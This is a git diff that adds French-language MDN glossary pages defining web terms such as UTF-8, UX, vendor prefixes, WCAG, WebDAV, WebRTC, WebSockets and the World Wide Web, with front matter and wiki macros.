+ +

Une chaîne classique d'agent utilisateur ressemble à ceci : "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0". 

+ +

Pour approfondir

+ +

Culture générale

+ + + +

Référence technique

+ + diff --git a/files/fr/glossary/utf-8/index.html b/files/fr/glossary/utf-8/index.html new file mode 100644 index 0000000000..b4dd418229 --- /dev/null +++ b/files/fr/glossary/utf-8/index.html @@ -0,0 +1,23 @@ +--- +title: UTF-8 +slug: Glossaire/UTF-8 +tags: + - Encodage + - Glossaire + - HTML + - JavaScript + - Utf-8 +translation_of: Glossary/UTF-8 +--- +

UTF-8 (UCS Transformation Format 8) est le {{Glossary("Character encoding","codage de caractères")}} le plus répandu sur le world wide web. Chaque caractère est représenté par un à quatre octets. UTF-8 est rétro-compatible avec l'{{Glossary("ASCII")}} et peut représenter n'importe quel caractère Unicode.

+ +

Les 128 premiers caractères UTF-8 correspondent exactement aux 128 premiers caractères ASCII (numérotés de 0 à 127), ce qui signifie que tous les textes ASCII existants sont déjà valides en UTF-8. Tous les autres caractères utilisent de deux à quatre octets. Chacun de ces octets possède quelques bits réservés à des fins d'encodage. Comme les caractères non-ASCII nécessitent plus d'un octet pour être enregistrés, ils courent le risque d'être corrompus s'ils sont séparés ou s'ils ne sont pas recombinés.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/ux/index.html b/files/fr/glossary/ux/index.html new file mode 100644 index 0000000000..4284964545 --- /dev/null +++ b/files/fr/glossary/ux/index.html @@ -0,0 +1,23 @@ +--- +title: UX +slug: Glossaire/UX +tags: + - Accessibilité + - Composition + - Design + - Glossaire + - Glossary + - Navigation +translation_of: Glossary/UX +--- +

UX est un acronyme signifiant User eXperience (expérience utilisateur). Il s'agit de l'étude de l'interaction entre des utilisateurs et un système. Son objectif est de rendre l'interaction avec un système plus simple du point de vue de l'utilisateur.

+ +

Le système peut être n'importe quel type de produit ou d'application avec lequel un utilisateur final est censé intéragir. Les études UX entreprises sur une page web par exemple peuvent servir à démontrer s'il est simple pour les utilisateurs de comprendre la page, naviguer dans différentes zones, réaliser des tâches simples et ainsi détecter où ce genre de processus pourrait être moins problématique.

+ +

Approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Expérience utilisateur")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/validator/index.html b/files/fr/glossary/validator/index.html new file mode 100644 index 0000000000..a2a1258254 --- /dev/null +++ b/files/fr/glossary/validator/index.html @@ -0,0 +1,17 @@ +--- +title: Validateur +slug: Glossaire/Validator +tags: + - Glossaire + - Sécurité +translation_of: Glossary/Validator +--- +

Un validateur est un programme qui vérifie les erreurs de syntaxe d'un code informatique. Ils peuvent être créés pour tous les formats et langages, mais dans notre contexte on parle d'outils vérifiant le {{Glossary("HTML")}}, {{Glossary("CSS")}}, et {{Glossary("XML")}}.

+ +

En apprendre plus

+ +

Culture générale

+ + diff --git a/files/fr/glossary/value/index.html b/files/fr/glossary/value/index.html new file mode 100644 index 0000000000..3b2363a959 --- /dev/null +++ b/files/fr/glossary/value/index.html @@ -0,0 +1,17 @@ +--- +title: Valeur +slug: Glossaire/Valeur +tags: + - Encodage + - Glossaire +translation_of: Glossary/Value +--- +

En ce qui concerne les données ou un objet {{Glossary("Wrapper", "wrapper")}} enveloppant cette donnée, la valeur est la {{Glossary("Primitive","valeur primitive")}} que cet objet wrapper contient. Pour les {{Glossary("Variable","variables")}} ou les {{Glossary("Property","propriétés")}}, la valeur peut être soit une primitive, soit une {{Glossary("Object reference","référence d'objet")}}.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/variable/index.html b/files/fr/glossary/variable/index.html new file mode 100644 index 0000000000..547a5ef7e2 --- /dev/null +++ b/files/fr/glossary/variable/index.html @@ -0,0 +1,27 @@ +--- +title: Variable +slug: Glossaire/Variable +tags: + - Encodage + - Glossaire + - JavaScript + - Programmation + - Variables +translation_of: Glossary/Variable +--- +

Une variable est un emplacement nommé pour conserver une {{Glossary("Value", "valeur")}}. Ainsi, il est possible d'accéder à une valeur quelconque par l'intermédiaire d'un nom prédéterminé.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Variable (informatique)")}} sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/vendor_prefix/index.html b/files/fr/glossary/vendor_prefix/index.html new file mode 100644 index 0000000000..891d444c14 --- /dev/null +++ b/files/fr/glossary/vendor_prefix/index.html @@ -0,0 +1,62 @@ +--- +title: Préfixe vendeur +slug: Glossaire/Préfixe_Vendeur +tags: + - CSS + - Encodage + - Glossaire + - Préfixes +translation_of: Glossary/Vendor_Prefix +--- +

Les vendeurs de navigateurs ajoutent parfois des préfixes aux propriétés CSS expérimentales ou non standards. Les développeurs peuvent ainsi les expérimenter sans que les changements de comportement du navigateur ne cassent le code pendant le processus de standardisation. Les développeurs sont supposés attendre que le comportement du navigateur soit standardisé pour inclure la propriété non préfixée.

+ +
+

Les fournisseurs de navigateurs s'efforcent d'arrêter l'utilisation des préfixes fournisseurs pour les fonctionnalités expérimentales. Les développeurs Web les utilisent sur des sites Web de production, malgré leur caractère expérimental. Cela a rendu plus difficile la compatibilité des fournisseurs de navigateurs et le travail sur de nouvelles fonctionnalités ; cela a également été nuisible aux petits navigateurs qui se sont retrouvés obligés d'ajouter des préfixes d'autres navigateurs afin de charger des sites web populaires.

+ +

Dernièrement, la tendance consiste à ajouter des fonctionnalités expérimentales derrière des indications contrôlées par l'utilisateur, et de travailler sur des spécifications plus petites et dont la stabilité est atteinte plus rapidement.

+
+ +

CSS préfixes

+ +

En général, les principaux navigateurs utilisent ces préfixes :

+ +
    +
  • -webkit- (Chrome, nouvelles versions d'Opera.)
    • +
  • -moz- (Firefox)
    • +
  • -o- (Anciennes versions d'Opera)
    • +
  • -ms- (Internet Explorer et Edge)
    • +
+ +

API préfixes

+ +

Historiquement, les fournisseurs ont également utilisé des préfixes pour les API expérimentales. Si une interface entière est expérimentale, alors le nom de l'interface est préfixé (mais pas les propriétés ou méthodes à l'intérieur). Si une propriété ou une méthode expérimentale est ajoutée à une interface normalisée, la méthode ou la propriété individuelle est préfixée.

+ +

Interfaces préfixes

+ +

Les préfixes pour les noms d'interface sont en majuscules:

+ +
    +
  • Webkit (Chrome, Safari, versions d'Opera récentes, presque tous les navigateurs iOS (y compris Firefox pour iOS) ; fondamentalement, tout navigateur basé sur WebKit).
    • +
  • Moz (Firefox)
    • +
  • O (anciennes versions d'Opera)
    • +
  • MS (Internet Explorer et Edge)
    • +
+ +

Propriétés et méthodes préfixes

+ +

Quant aux propriétés et aux méthodes, sont généralement utilisés :

+ +
    +
  • webkit (Chrome, Safari, nouvelles versions d'Opera, presque tous les navigateurs IOS (y compris Firefox pour IOS), fondamentalement, tout navigateur basé sur WebKit).
    • +
  • moz (Firefox)
    • +
  • o (anciennes versions d'Opera)
    • +
  • ms (Internet Explorer et Edge)
    • +
+ +

Pour approfondir

+ +

Culture générale

+ +

{{Interwiki("wikipedia", "Métadonnée#Services_Web", "Services web")}} sur Wikipédia

+ +

 

diff --git a/files/fr/glossary/viewport/index.html b/files/fr/glossary/viewport/index.html new file mode 100644 index 0000000000..cbd2e738ca --- /dev/null +++ b/files/fr/glossary/viewport/index.html @@ -0,0 +1,13 @@ +--- +title: Vue +slug: Glossaire/Viewport +tags: + - Encodage + - Glossaire +translation_of: Glossary/Viewport +--- +

Une vue représente une zone polygonale (normalement rectangulaire) dans les graphiques d'ordinateur en cours de visualisation. En termes de navigateur web, elle se réfère à la partie du document que vous visualisez, qui est actuellement visible dans la fenêtre (ou à l'écran, si le document est en cours d'affichage en mode plein écran). Le contenu en dehors de la fenêtre d'affichage n'est pas visible à l'écran jusqu'à ce qu'il défile dans la vue.

+ +

Pour approfondir

+ +

Culture générale

diff --git a/files/fr/glossary/voip/index.html b/files/fr/glossary/voip/index.html new file mode 100644 index 0000000000..1c4ac9572b --- /dev/null +++ b/files/fr/glossary/voip/index.html @@ -0,0 +1,20 @@ +--- +title: VoIP +slug: Glossaire/VoIP +tags: + - Glossaire + - Infrastructure + - VoIP +translation_of: Glossary/VoIP +--- +

La VoIP (Voice over Internet Protocol) est une technologie utilisée pour transmettre des messages vocaux via des réseaux IP (Internet Protocol). Parmi les logiciels de VoIP courants, on trouve Skype, Msn Messenger, Yahoo et beaucoup d'autres. Tout ce qui est transféré en VoIP est numérique. Cette technologie est aussi connue sous les noms de téléphonie IP ou téléphonie haut débit. La principale raison de l'utiliser est son coût.

+ +

La VoIP vous permet d'appeler directement depuis un ordinateur, un téléphone spécial VoIP ou un téléphone traditionnel connecté à un adaptateur spécial. La VoIP nécessite une connexion internet haut débit. En général, les appels téléphoniques via Internet ne génèrent pas de charges en sus de ce que l'utilisateur paye pour son accès Internet, de la même manière que l'utilisateur ne paye pas pour chaque courriel qu'il envoie par Internet.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "VoIP")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/w3c/index.html b/files/fr/glossary/w3c/index.html new file mode 100644 index 0000000000..9c32c8aeeb --- /dev/null +++ b/files/fr/glossary/w3c/index.html @@ -0,0 +1,19 @@ +--- +title: W3C +slug: Glossaire/W3C +translation_of: Glossary/W3C +--- +

Le World Wide Web Consortium (W3C) est un organisme international qui maintient les règles en {{Glossary("World Wide Web", "relation avec le Web")}} et les frameworks.

+ +

Il est constitué de plus de 350 organisations qui développent conjointement les standards du Web, conduisent des programmes de sensibilisation et gèrent des forums ouverts pour dialoguer autour du Web. Le W3C coordonne les entreprises pour s'assurer qu'elles implémentent les mêmes standards.

+ +

Chaque standard passe à travers quatre étapes de maturation : Working Draft (WD, brouillon de travail), Candidate Recommendation (CR, candidat à la recommandation), Proposed Recommendation (PR, recommandation proposée), et W3C Recommandation (REC, recommandation du W3C).

+ +

Pour en savoir plus

+ +

Connaissances générales

+ +
    +
  • Site web du W3C
    • +
  • {{Interwiki("wikipedia", "World Wide Web Consortium", "W3C")}} sur Wikipedia +
diff --git a/files/fr/glossary/wai/index.html b/files/fr/glossary/wai/index.html new file mode 100644 index 0000000000..cf7270bdb6 --- /dev/null +++ b/files/fr/glossary/wai/index.html @@ -0,0 +1,18 @@ +--- +title: WAI +slug: Glossaire/WAI +tags: + - Accessibilité + - Glossaire +translation_of: Glossary/WAI +--- +

La WAI ou Web Accessibility Initiative a été lancée par le World Wide Web Consortium (W3C) pour rendre le web plus accessibie aux personnes handicapées, celles-ci pouvant avoir besoin d'un {{Glossary("navigateur")}} ou d'appareils non standards.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • Site web de la WAI
    • +
  • {{Interwiki("wikipedia", "Web Accessibility Initiative")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/wcag/index.html b/files/fr/glossary/wcag/index.html new file mode 100644 index 0000000000..b3dc97c01c --- /dev/null +++ b/files/fr/glossary/wcag/index.html @@ -0,0 +1,36 @@ +--- +title: WCAG +slug: Glossaire/WCAG +tags: + - Accessibilité + - Directives web + - Glossaire + - WCAG +translation_of: Glossary/WCAG +--- +

Les Web Content Accessibility Guidelines (WCAG) sont une recommandation publiée par le groupe {{Glossary("WAI","Web Accessibility Initiative")}} du {{Glossary("W3C")}}. Ils définissent un ensemble de lignes de conduite à suivre pour rendre le contenu accessible principalement aux personnes avec des handicaps, mais aussi aux appareils aux ressources limitées comme les téléphones portables.

+ +

WCAG 2.0, qui a replacé WCAG 1.0, a été publié en tant que recommandation W3C le 11 décembre 2008. Elle consiste en 12 directives principales organisées en 4 principes (le contenu doit être perceptible, utilisable, compréhensible et robuste) et chacune de ces directives est accompagnée de critères de succès à évaluer.

+ +

WCAG utilise trois niveaux d'accessibilité :

+ +
    +
  • Priorité 1 : Les développeurs web doivent satisfaire ces conditions, sinon il sera impossible à un ou plusieurs groupes d'accéder au contenu du web. Atteindre ce niveau est désigné par A.
    • +
  • Priorité 2 : Les développeurs web devraient satisfaire ces conditions, sinon certains groupes éprouveront des difficultés à accéder au contenu du web. Atteindre ce niveau est désigné par AA ou double A.
    • +
  • Priorité 3 : Les développeurs web peuvent satisfaire ces conditions dans le but de faciliter l'accès au web pour certains groupes. Atteindre ce niveau est désigné par AAA ou triple A.
    • +
+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Accessibilité du Web", "WCAG")}} sur Wikipédia
    • +
+ +

Connaissances techniques

+ + diff --git a/files/fr/glossary/web_server/index.html b/files/fr/glossary/web_server/index.html new file mode 100644 index 0000000000..af1540e5de --- /dev/null +++ b/files/fr/glossary/web_server/index.html @@ -0,0 +1,16 @@ +--- +title: Serveur Web +slug: Glossaire/Serveur_Web +tags: + - serveur web + - serveur-web +translation_of: Glossary/Web_server +--- +

Un serveur Web est un logiciel qui s'exécute souvent sur un serveur matériel offrant un service à un utilisateur, généralement appelé client. Un serveur, par contre, est un matériel qui vit dans une pièce remplie d'ordinateurs, communément appelée centre de données.

+ + diff --git a/files/fr/glossary/web_standards/index.html b/files/fr/glossary/web_standards/index.html new file mode 100644 index 0000000000..ddc17ca445 --- /dev/null +++ b/files/fr/glossary/web_standards/index.html @@ -0,0 +1,32 @@ +--- +title: Standards du Web +slug: Glossaire/Web_standards +tags: + - Glossaire + - Infrastructure + - Standards du Web + - spécifications web + - standards +translation_of: Glossary/Web_standards +--- +

Les standards du Web sont des règles établies par des organismes de standardisation internationaux qui définissent la manière dont fonctionne le {{Glossary("World Wide Web", "Web")}} (et parfois qui contrôlent l'{{Glossary("Internet")}} également).

+ +

Plusieurs organismes de standardisation sont responsables de définir différents aspects du Web, et tous les standards doivent être coordonnés pour que le Web reste utilisable et accessible le plus possible. Les standards du Web doivent également évoluer pour améliorer l'état actuel et s'adapter aux nouvelles circonstances.

+ +

Cette liste non exhaustive vous donne une idée des standards auxquels les sites web et les systèmes réseaux doivent se conformer :

+ +
    +
  • IETF (Internet Engineering Task Force) : standards Internet (STD), qui, parmi d'autres choses, gouvernent l'organisation et l'utilisation des {{Glossary("URI", "URIs")}}, d'{{Glossary("HTTP")}} et des types {{Glossary("MIME")}}
    • +
  • {{Glossary("W3C")}}: spécifications du langage de balisage (e.g., {{Glossary("HTML")}}), définitions de styles (i.e., {{Glossary("CSS")}}), {{Glossary("DOM")}}, {{Glossary("Accessibilité", "accessibilité")}}
    • +
  • IANA (Internet Assigned Numbers Authority) : enregistrements des noms et numéros
    • +
  • Ecma Intl. : standards pour les langages de scripts, le plus visible étant {{Glossary("JavaScript")}}
    • +
  • {{Glossary("ISO")}} (International Organization for Standardization) : standards gouvernant un vaste éventail d'aspects, dont l'encodage de caractères, la gestion de sites web et la conception d'interfaces utilisateur
    • +
+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Standards du Web")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/webdav/index.html b/files/fr/glossary/webdav/index.html new file mode 100644 index 0000000000..b492ec37f6 --- /dev/null +++ b/files/fr/glossary/webdav/index.html @@ -0,0 +1,40 @@ +--- +title: WebDAV +slug: Glossaire/WebDAV +tags: + - Glossaire + - Infrastructure +translation_of: Glossary/WebDAV +--- +

WebDAV (Web Distributed Authoring and Versioning) est une extension {{Glossary("HTTP")}} qui permet aux développeurs web de faire des mises à jour de contenu à distance depuis un client.

+ +

WebDav est rarement utilisé seul, mais deux extensions sont très répandues : {{Glossary("CalDAV")}} (accès distant aux données d'agenda) et {{Glossary("CardDAV")}} (accès distant au carnet d'adresses).

+ +

WebDAV donne aux clients les possibilités suivantes

+ +
    +
  • ajout, suppression et récupération des métadonnées de pages web (e.g. auteur ou date de création)
    • +
  • création de liens dans des pages de tout type de média vers des pages qui y sont associées
    • +
  • création d'ensembles de documents et récupération de listes hiérarchiques
    • +
  • copie et déplacement de pages web
    • +
  • verrouillage d'un document pour restreindre son édition à une seule personne à la fois
    • +
+ +
+
+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "WebDAV")}} sur Wikipédia
    • +
+ +

Référence technique

+ +
    +
  • {{rfc(2518)}}
    • +
  • {{rfc(3253)}}
    • +
  • {{rfc(3744)}}
    • +
diff --git a/files/fr/glossary/webextensions/index.html b/files/fr/glossary/webextensions/index.html new file mode 100644 index 0000000000..a9f2bb1afd --- /dev/null +++ b/files/fr/glossary/webextensions/index.html @@ -0,0 +1,17 @@ +--- +title: WebExtensions +slug: Glossaire/WebExtensions +tags: + - Glossaire + - WebExtensions +translation_of: Glossary/WebExtensions +--- +

Les WebExtensions constituent un système multinavigateur pour développer des extensions de navigateur dans Firefox. Ce système fournit des API qui sont dans une large mesure prises en charge dans différents navigateurs tels que Mozilla Firefox, Google Chrome, Opera et Microsoft Edge.

+ +

Pour approfondir

+ +

Informations techniques

+ + diff --git a/files/fr/glossary/webgl/index.html b/files/fr/glossary/webgl/index.html new file mode 100644 index 0000000000..f761f71a71 --- /dev/null +++ b/files/fr/glossary/webgl/index.html @@ -0,0 +1,34 @@ +--- +title: WebGL +slug: Glossaire/WebGL +tags: + - Avancé + - CodingScripting + - Glossaire + - Graphismes Web + - WebGL +translation_of: Glossary/WebGL +--- +

WebGL (Web Graphics Library) est une {{Glossary("API")}} {{Glossary("JavaScript")}} pour produire des graphismes 2D et 3D interactifs.

+ +

Le Groupe Khronos maintient WebGL qui est basé sur {{Glossary("OpenGL")}} ES 2.0.

+ +

Vous pouvez faire appel à WebGL à partir de l'élément {{Glossary("HTML")}} {{HTMLElement("canvas")}} qui fournit une surface de rendu.

+ +

Tous les principaux {{Glossary("Navigateur","navigateurs")}} prennent maintenant en charge WebGL, mais sa disponibilité dépend également de facteurs externes (e.g. support par le GPU).

+ +

Pour approfondir

+ +

Culture générale

+ + + +

Article technique

+ + diff --git a/files/fr/glossary/webidl/index.html b/files/fr/glossary/webidl/index.html new file mode 100644 index 0000000000..f3e85f3078 --- /dev/null +++ b/files/fr/glossary/webidl/index.html @@ -0,0 +1,23 @@ +--- +title: WebIDL +slug: Glossaire/WebIDL +tags: + - Encodage + - Glossaire + - WebIDL +translation_of: Glossary/WebIDL +--- +

WebIDL est le langage de description d'interface utilisé pour décrire les {{Glossary("Type","types de données")}}, {{Glossary("interface","interfaces")}}, {{Glossary("Method","méthodes")}}, {{Glossary("Property","propriétés")}} et d'autres éléments qui composent une interface de programmation d'application Web ({{Glossary("API")}}). Il utilise une syntaxe quelque peu stylisée qui est indépendante de tout langage de programmation spécifique, de sorte que le code sous-jacent utilisé pour construire chaque API puisse être écrit dans le langage le plus approprié, tout en permettant de faire le plan des composants de l'API pour une construction compatible JavaScript

+ +

WebIDL est utilisé dans presque toutes les {{Glossary ("Specification","spécifications")}} des API pour le Web, et grâce à son format et à sa syntaxe standard, les programmeurs qui créent des navigateurs Web peuvent plus facilement s'assurer que leurs navigateurs sont compatibles entre eux indépendamment de la façon dont ils choisissent d'écrire le code pour implémenter l'API.

+ +

Pour approfondir

+ +

Référence technique

+ + diff --git a/files/fr/glossary/webkit/index.html b/files/fr/glossary/webkit/index.html new file mode 100644 index 0000000000..70806fd463 --- /dev/null +++ b/files/fr/glossary/webkit/index.html @@ -0,0 +1,31 @@ +--- +title: WebKit +slug: Glossaire/WebKit +tags: + - Glossaire + - Intro + - Navigateur + - Web + - WebKit + - WebMechanics +translation_of: Glossary/WebKit +--- +

WebKit est un framework destiné à afficher des pages web correctement formatées en se basant sur leur balisage. {{Glossary("Apple Safari")}} dépend de WebKit tout comme de nombreux navigateurs pour mobiles (car WebKit est hautement portable et personnalisable).

+ +

WebKit a commencé son existence comme un fork du moteur KHTML de KDE et des bibliothèques KJS, mais beaucoup d'individus et d'entreprises y ont contribué depuis (dont KDE, Apple, Google, et Nokia).

+ +

WebKit est une marque déposée par Apple, et le framework est distribué sous une licence de type BSD. Cependant, deux éléments importants sont placés sous {{Glossary("LGPL")}}: la bibliothèque de rendu WebCore et le moteur JavaScriptCore.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "WebKit")}} sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/webm/index.html b/files/fr/glossary/webm/index.html new file mode 100644 index 0000000000..dc829be881 --- /dev/null +++ b/files/fr/glossary/webm/index.html @@ -0,0 +1,19 @@ +--- +title: WebM +slug: Glossaire/webm +tags: + - Composition + - Glossaire + - Infrastructure + - WebM +translation_of: Glossary/webm +--- +

WebM est un format vidéo ouvert, destiné au web et libre de redevance. Il est supporté de manière native par Mozilla Firefox.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/webp/index.html b/files/fr/glossary/webp/index.html new file mode 100644 index 0000000000..66b9255e24 --- /dev/null +++ b/files/fr/glossary/webp/index.html @@ -0,0 +1,20 @@ +--- +title: WebP +slug: Glossaire/webp +tags: + - Composing + - Débutant + - Glossaire + - Infrastructure + - WebP +translation_of: Glossary/webp +--- +

WebP est un format d'image avec compression, avec ou sans perte, développé par Google.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/webrtc/index.html b/files/fr/glossary/webrtc/index.html new file mode 100644 index 0000000000..f796f8b47a --- /dev/null +++ b/files/fr/glossary/webrtc/index.html @@ -0,0 +1,35 @@ +--- +title: WebRTC +slug: Glossaire/WebRTC +tags: + - Encodage + - Glossaire + - Infrastructure + - P2P + - VoIP + - Web + - WebRTC +translation_of: Glossary/WebRTC +--- +

WebRTC (Web Real-Time Communication) (communication en temps réel web) est une {{Glossary("API")}} appelée par les applications web de tchat vidéo, d'appels vocaux et de partage de fichiers P2P.

+ +

WebRTC est constitué principalement de ces éléments :

+ +
+
getUserMedia
+
accorde l'accès à la caméra et / ou au microphone d'un appareil, et peut brancher leurs signaux à une connexion RTC.
+
RTCPeerConnection
+
configure les appels vocaux ou tchat vidéo
+
RTCDataChannels
+
fournit une méthode de définition des itinéraires de données {{Glossary("P2P","pair-à-pair")}} entre les navigateurs
+
+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/websockets/index.html b/files/fr/glossary/websockets/index.html new file mode 100644 index 0000000000..4187a6db73 --- /dev/null +++ b/files/fr/glossary/websockets/index.html @@ -0,0 +1,37 @@ +--- +title: WebSockets +slug: Glossaire/WebSockets +tags: + - Connexion + - Glossaire + - Infrastructure + - Protocoles + - Réseau + - Web + - WebSocket +translation_of: Glossary/WebSockets +--- +

WebSocket est un {{Glossary("Protocol","protocole")}} servant à établir des connexions {{Glossary("TCP")}} persistantes entre des {{Glossary("Server", "serveurs")}} et des clients afin qu'ils puissent échanger des données à tout moment.

+ +

Toute application cliente ou serveur peut utiliser WebSocket, mais plus particulièrement les {{Glossary("Browser", "navigateurs")}} et serveurs web. Grâce à WebSocket, les serveurs peuvent passer des données à un client sans qu'il n'y ait de requête cliente préalable, autorisant des mises à jour de contenu dynamiques.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Websocket")}} sur Wikipédia
    • +
+ +

Référence technique

+ + + +

Apprendre

+ + diff --git a/files/fr/glossary/webvtt/index.html b/files/fr/glossary/webvtt/index.html new file mode 100644 index 0000000000..66969fa327 --- /dev/null +++ b/files/fr/glossary/webvtt/index.html @@ -0,0 +1,25 @@ +--- +title: WebVTT +slug: Glossaire/WebVTT +tags: + - Glossaire +translation_of: Glossary/WebVTT +--- +

WebVTT (Web Video Text Tracks) est une spécification {{Glossary("W3C")}} pour un format de fichier marquant des ressources de suivi de texte combinées avec l'élément HTML {{HTMLElement("track")}}.

+ +

Les fichiers WebVTT fournissent des métadonnées alignées sur le temps avec du contenu audio ou vidéo, comme des légendes ou des sous-titres, des descriptions de vidéos texte, des chapitres pour la navigation dans le contenu, etc.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "WebVTT")}} sur Wikipedia
    • +
+ +

Technical reference

+ + diff --git a/files/fr/glossary/whatwg/index.html b/files/fr/glossary/whatwg/index.html new file mode 100644 index 0000000000..24d608902d --- /dev/null +++ b/files/fr/glossary/whatwg/index.html @@ -0,0 +1,30 @@ +--- +title: WHATWG +slug: Glossaire/WHATWG +tags: + - Communauté + - Glossaire + - HTML + - HTML5 + - WHATWG + - Web +translation_of: Glossary/WHATWG +--- +

Le WHATWG (Web Hypertext Application Technology Working Group) est une organisation qui maintient et développe le {{Glossary("HTML")}} et les {{Glossary("API", "APIs")}} des applications Web. Le WHATWG a été mis en place en 2004 par d'anciens employés d'Apple, Mozilla et Opera.

+ +

Les éditeurs de spécifications du WHATWG recherchent et recueillent des commentaires pour les documents de spécification. Le groupe dispose également d'un petit comité de membres invités qui sont autorisés à outrepasser ou remplacer les éditeurs de spécifications. Vous pouvez participer en tant que contributeur en souscrivant à la liste de diffusion.

+ +

D'après leur site web, WHATWG est une réponse aux progrès très lents du {{Glossary("W3C", "W3C")}} sur les standards du Web, en particulier du HTML dont le W3C avait arrêté le développement pour se concentrer sur le {{Glossary("XHTML")}}.

+ +
WHATWG maintient les spécifications du {{Glossary("HTML")}}, du {{Glossary("DOM")}} et de {{Glossary("JavaScript")}}.
+ +
 
+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/whitespace/index.html b/files/fr/glossary/whitespace/index.html new file mode 100644 index 0000000000..92b062e11e --- /dev/null +++ b/files/fr/glossary/whitespace/index.html @@ -0,0 +1,46 @@ +--- +title: Whitespace +slug: Glossaire/Whitespace +tags: + - Glossaire + - Grammaire lexicale + - espace blanc + - whitespace +translation_of: Glossary/Whitespace +--- +

Whitespace sont un ensemble de {{Glossary("Character", "characters")}} qui est utilisé pour afficher des espaces horizontaux ou verticaux entre d'autres caractères. Ils sont souvent utilisés pour séparer les jetons dans {{Glossary("HTML")}}, {{Glossary("CSS")}}, {{Glossary("JavaScript")}}, et dans d'autres langages informatiques. Les caractères whitespace et leur utilisation varient selon les langages.

+ +

En HTML

+ +

HTML Living Standard spécifie 5 caractères comme whitespace ASCII : U+0009 TAB, U+000A LF, U+000C FF, U+000D CR, et U+0020 SPACE. Sous forme de texte, ils sont traités comme des espaces normaux et les espaces séquentiels sont réduits comme un seul espace dans de nombreux cas (ce comportement peut être modifié par la propriété CSS {{cssxref("white-space")}} ). Ils sont également utilisés comme séparateur d'un nom d'élément et de ses paramètres, noms de classe, etc.

+ +

En JavaScript

+ +

ECMAScript® 2015 Language Specification spécifie plusieurs points de code Unicode sous forme de white space: U+0009 CHARACTER TABULATION <TAB>, U+000B LINE TABULATION <VT>, U+000C FORM FEED <FF>, U+0020 SPACE <SP>, U+00A0 NO-BREAK SPACE <NBSP>, U+FEFF ZERO WIDTH NO-BREAK SPACE <ZWNBSP> et autre catégorie “Zs” Tout autre point de code Unicode “Séparateur, esspace” <USP>. Ces caractères sont généralement inutiles pour la fonctionnalité du code.

+ + diff --git a/files/fr/glossary/world_wide_web/index.html b/files/fr/glossary/world_wide_web/index.html new file mode 100644 index 0000000000..f002576d00 --- /dev/null +++ b/files/fr/glossary/world_wide_web/index.html @@ -0,0 +1,41 @@ +--- +title: World Wide Web +slug: Glossaire/World_Wide_Web +tags: + - Glossaire + - Infrastructure + - WWW + - World Wide Web +translation_of: Glossary/World_Wide_Web +--- +

Le World Wide Web — communément appelé WWW, W3, ou le web — est un système de pages web publiques interconnectées à travers l'{{Glossary("Internet")}}. Le web et l'internet ne sont pas la même chose : le web est l'une des nombreuses applications bâties au-dessus de l'internet.

+ +

Tim Berners-Lee a proposé l'architecture de ce qui a été ensuite connu sous le nom de World Wide Web. Il a créé les premiers {{Glossary("Server","serveur")}} web, {{Glossary("Browser","navigateur")}} web, et page web sur son ordinateur au laboratoire de recherches scientifiques CERN en 1990. En 1991, il a annoncé sa création sur le newsgroup alt.hypertext, indiquant ainsi pour la première fois que le web était rendu public.

+ +

Ce que nous connaissons comme étant "le web" consiste en plusieurs éléments :

+ +
    +
  • Le protocole {{Glossary("HTTP")}} gouverne la transmission des données entre un serveur et un client.
    • +
  • Pour accéder à un composant du web, un client fournit un identificateur universel unique, appelé une {{Glossary("URL")}} (uniform resource location) ou {{Glossary("URI")}} (uniform resource identifier) (anciennement appelée Universal Document Identifier (UDI)).
    • +
  • Le {{Glossary("HTML")}} (hypertext markup language) est le format le plus répandu pour publier des documents web.
    • +
+ +

Lier, ou connecter des ressources grâce à des {{Glossary("Hyperlink","hyperliens")}}, est un concept majeur qui a donné au web le statut de collection de documents connectés.

+ +

Peu de temps après avoir inventé le web, Tim Berners-Lee a fondé le {{Glossary("W3C")}} (World Wide Web Consortium) pour le développer et le standardiser. Le consortium est constitué des principaux groupes d'intérêt du web, comme des développeurs de navigateur web, des entités gouvernementales, des chercheurs et des universités. Sa mission inclut aussi l'éducation et la sensibilisation.

+ +

Pour approfondir

+ +

Apprendre sur ce sujet

+ + + +

Culture générale

+ + diff --git a/files/fr/glossary/wrapper/index.html b/files/fr/glossary/wrapper/index.html new file mode 100644 index 0000000000..16c0f4324d --- /dev/null +++ b/files/fr/glossary/wrapper/index.html @@ -0,0 +1,15 @@ +--- +title: Wrapper +slug: Glossaire/Wrapper +tags: + - Encodage + - Glossaire +translation_of: Glossary/Wrapper +--- +

Dans les langages de programmation tels que JavaScript, un wrapper est une fonction qui est destinée à appeler une ou plusieurs autres fonctions, parfois purement par commodité, et parfois en les adaptant pour faire une tâche légèrement différente dans le processus.

+ +

En apprendre plus

+ +

Culture générale

+ +

{{Interwiki("wikipedia","fonction_wrapper")}} sur Wikipedia

